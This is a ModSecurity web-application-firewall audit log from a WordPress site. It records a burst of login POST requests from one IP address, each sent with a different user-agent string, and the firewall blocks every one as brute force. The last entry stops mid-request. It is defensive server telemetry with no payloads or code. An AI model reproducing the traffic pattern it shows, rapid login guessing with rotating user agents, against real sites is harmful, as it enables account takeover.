Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314008165963 1850 (- - -)
Stopwatch2: 1789314008165963 1850; combined=581, p1=236, p2=83, p3=0, p4=0, p5=262, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f26d3b61-Z--
--9ec16676-A--
[13/Sep/2026:18:40:08.553977 +0300] aqbD2Put1GUrjaX0wO45mwAAANc 134.185.87.66 46220 127.0.0.1 7081
--9ec16676-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 109
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--9ec16676-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--9ec16676-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314008552148 1904 (- - -)
Stopwatch2: 1789314008552148 1904; combined=590, p1=283, p2=73, p3=0, p4=0, p5=234, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9ec16676-Z--
--f37c725d-A--
[13/Sep/2026:18:40:08.954365 +0300] aqbD2Put1GUrjaX0wO45nQAAAMQ 134.185.87.66 46236 127.0.0.1 7081
--f37c725d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 108
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--f37c725d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--f37c725d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314008952316 2115 (- - -)
Stopwatch2: 1789314008952316 2115; combined=667, p1=362, p2=76, p3=0, p4=0, p5=229, sr=157, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f37c725d-Z--
--d4678d31-A--
[13/Sep/2026:18:40:09.355275 +0300] aqbD2fut1GUrjaX0wO45nwAAAMI 134.185.87.66 46258 127.0.0.1 7081
--d4678d31-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--d4678d31-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--d4678d31-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314009353447 1893 (- - -)
Stopwatch2: 1789314009353447 1893; combined=658, p1=325, p2=68, p3=0, p4=0, p5=265, sr=165, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d4678d31-Z--
--1321e922-A--
[13/Sep/2026:18:40:09.771020 +0300] aqbD2fut1GUrjaX0wO45oQAAAMM 134.185.87.66 46280 127.0.0.1 7081
--1321e922-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 84
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--1321e922-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--1321e922-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314009769152 1924 (- - -)
Stopwatch2: 1789314009769152 1924; combined=615, p1=268, p2=74, p3=0, p4=0, p5=273, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1321e922-Z--
--5ee5fa34-A--
[13/Sep/2026:18:40:10.154967 +0300] aqbD2vut1GUrjaX0wO45owAAAMA 134.185.87.66 46306 127.0.0.1 7081
--5ee5fa34-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 87
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5ee5fa34-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5ee5fa34-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314010153228 1794 (- - -)
Stopwatch2: 1789314010153228 1794; combined=574, p1=251, p2=72, p3=0, p4=0, p5=251, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5ee5fa34-Z--
--98c8bf5f-A--
[13/Sep/2026:18:40:10.534865 +0300] aqbD2vut1GUrjaX0wO45pQAAAMU 134.185.87.66 46330 127.0.0.1 7081
--98c8bf5f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 85
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--98c8bf5f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--98c8bf5f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314010533274 1645 (- - -)
Stopwatch2: 1789314010533274 1645; combined=567, p1=236, p2=64, p3=0, p4=0, p5=267, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--98c8bf5f-Z--
--b3a93160-A--
[13/Sep/2026:18:40:10.928429 +0300] aqbD2vut1GUrjaX0wO45pwAAANc 134.185.87.66 46348 127.0.0.1 7081
--b3a93160-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 84
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--b3a93160-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--b3a93160-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314010926339 2154 (- - -)
Stopwatch2: 1789314010926339 2154; combined=721, p1=308, p2=90, p3=0, p4=0, p5=323, sr=103, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b3a93160-Z--
--5f30b310-A--
[13/Sep/2026:18:40:11.315077 +0300] aqbD2-ut1GUrjaX0wO45qQAAAMQ 134.185.87.66 46372 127.0.0.1 7081
--5f30b310-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 87
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--5f30b310-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5f30b310-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314011313560 1572 (- - -)
Stopwatch2: 1789314011313560 1572; combined=510, p1=230, p2=59, p3=0, p4=0, p5=221, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5f30b310-Z--
--b6a9f136-A--
[13/Sep/2026:18:40:11.709573 +0300] aqbD2-ut1GUrjaX0wO45qgAAAM4 134.185.87.66 46392 127.0.0.1 7081
--b6a9f136-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--b6a9f136-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--b6a9f136-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314011708054 1616 (- - -)
Stopwatch2: 1789314011708054 1616; combined=533, p1=273, p2=57, p3=0, p4=0, p5=203, sr=115, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b6a9f136-Z--
--74d0f42f-A--
[13/Sep/2026:18:40:12.108289 +0300] aqbD3Put1GUrjaX0wO45rAAAAMs 134.185.87.66 46410 127.0.0.1 7081
--74d0f42f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:89.0) Gecko/20100101 Firefox/89.0.2
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--74d0f42f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--74d0f42f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314012106564 1780 (- - -)
Stopwatch2: 1789314012106564 1780; combined=593, p1=241, p2=84, p3=0, p4=0, p5=268, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--74d0f42f-Z--
--dac3252d-A--
[13/Sep/2026:18:40:12.511219 +0300] aqbD3BsbgHO3aGL3jiTwyAAAAA4 134.185.87.66 46416 127.0.0.1 7081
--dac3252d-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 91
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--dac3252d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--dac3252d-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314012509726 1547 (- - -)
Stopwatch2: 1789314012509726 1547; combined=502, p1=225, p2=59, p3=0, p4=0, p5=218, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dac3252d-Z--
--fcfcb840-A--
[13/Sep/2026:18:40:12.890723 +0300] aqbD3Put1GUrjaX0wO45rwAAAMA 134.185.87.66 46436 127.0.0.1 7081
--fcfcb840-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--fcfcb840-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--fcfcb840-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314012888533 2266 (- - -)
Stopwatch2: 1789314012888533 2266; combined=838, p1=382, p2=97, p3=0, p4=0, p5=359, sr=138, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fcfcb840-Z--
--932f656a-A--
[13/Sep/2026:18:40:13.270515 +0300] aqbD3fut1GUrjaX0wO45sQAAAMU 134.185.87.66 46446 127.0.0.1 7081
--932f656a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 85
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--932f656a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--932f656a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314013268807 1763 (- - -)
Stopwatch2: 1789314013268807 1763; combined=583, p1=270, p2=87, p3=0, p4=0, p5=226, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--932f656a-Z--
--85d6f77f-A--
[13/Sep/2026:18:40:13.658582 +0300] aqbD3fut1GUrjaX0wO45swAAANc 134.185.87.66 46462 127.0.0.1 7081
--85d6f77f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--85d6f77f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--85d6f77f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314013656842 1833 (- - -)
Stopwatch2: 1789314013656842 1833; combined=581, p1=246, p2=77, p3=0, p4=0, p5=257, sr=83, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--85d6f77f-Z--
--3e65b20f-A--
[13/Sep/2026:18:40:14.057275 +0300] aqbD3hsbgHO3aGL3jiTwyQAAABM 134.185.87.66 46472 127.0.0.1 7081
--3e65b20f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 84
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded
--3e65b20f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--3e65b20f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789314014055479 1850 (- - -)
Stopwatch2: 1789314014055479 1850; combined=594, p1=263, p2=99, p3=0, p4=0, p5=232, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3e65b20f-Z--
--c374e84f-A--
[13/Sep/2026:18:40:14.454878 +0300] aqbD3vut1GUrjaX0wO45tgAAAM4 134.185.87.66 46488 127.0.0.1 7081
--c374e84f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 87
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
